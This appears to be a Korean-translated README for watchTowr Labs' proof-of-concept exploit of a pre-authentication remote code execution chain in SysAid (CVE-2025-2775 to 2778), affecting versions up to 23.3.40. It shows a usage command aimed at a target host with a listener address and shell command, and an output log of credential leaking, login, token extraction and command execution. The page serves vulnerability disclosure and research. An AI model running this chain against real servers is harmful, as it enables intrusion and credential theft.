watchtowrlabs/watchtowr-vs-sysaid-preauth-rce-chainSysAid 인증 전 원격 코드 실행 체인 PoC (CVE-2025-2775, CVE-2025-2776, CVE-2025-2777, CVE-2025-2778)
SysAid PreAuth RCE 체인(CVE-2025-2775, CVE-2025-2776, CVE-2025-2777, CVE-2025-2778)에 대한 PoC
기술적 세부 사항은 블로그 게시물을 참조하세요.
https://github.com/user-attachments/assets/03245fab-915d-43b6-8e91-f0a18251af49
python watchTowr-vs-SysAid-PreAuth-RCE-Chain.py -t http://192.168.201.217:8080/ -l 192.168.201.1 -c "whoami"
__ ___ ___________
__ _ ______ _/ |__ ____ | |_\__ ____\____ _ ________
\ \/ \/ \__ \ ___/ ___\| | \| | / _ \ \/ \/ \_ __ \
\ / / __ \| | \ \___| Y | |( <_> \ / | | \/
\/\_/ (____ |__| \___ |___|__|__ | \__ / \/\_/ |__|
\/ \/ \/
watchTowr-vs-SysAid-PreAuth-RCE-Chain.py
(*) SysAid Pre-Auth RCE Chain
- Sina Kheirkhah (@SinSinology) and Jake Knott of watchTowr (@watchTowrcyber)
CVEs: [CVE-2025-2775, CVE-2025-2776, CVE-2025-2777, CVE-2025-2778]
[+] Starting HTTP server on port 80
[*] Leaking creds...
[+] Leaked credentials: admin:Aa123456
[+] Successfully logged in
[+] Extracted token
[*] Poisoning with commands
[+] Commands executed successfully
[*] Done
다음 버전이 이 사전 인증 RCE 체인에 취약합니다: <= 23.3.40, 공급업체 릴리스 노트는 여기에서 확인할 수 있습니다.
최신 보안 연구를 위해 watchTowr Labs 팀을 팔로우하세요.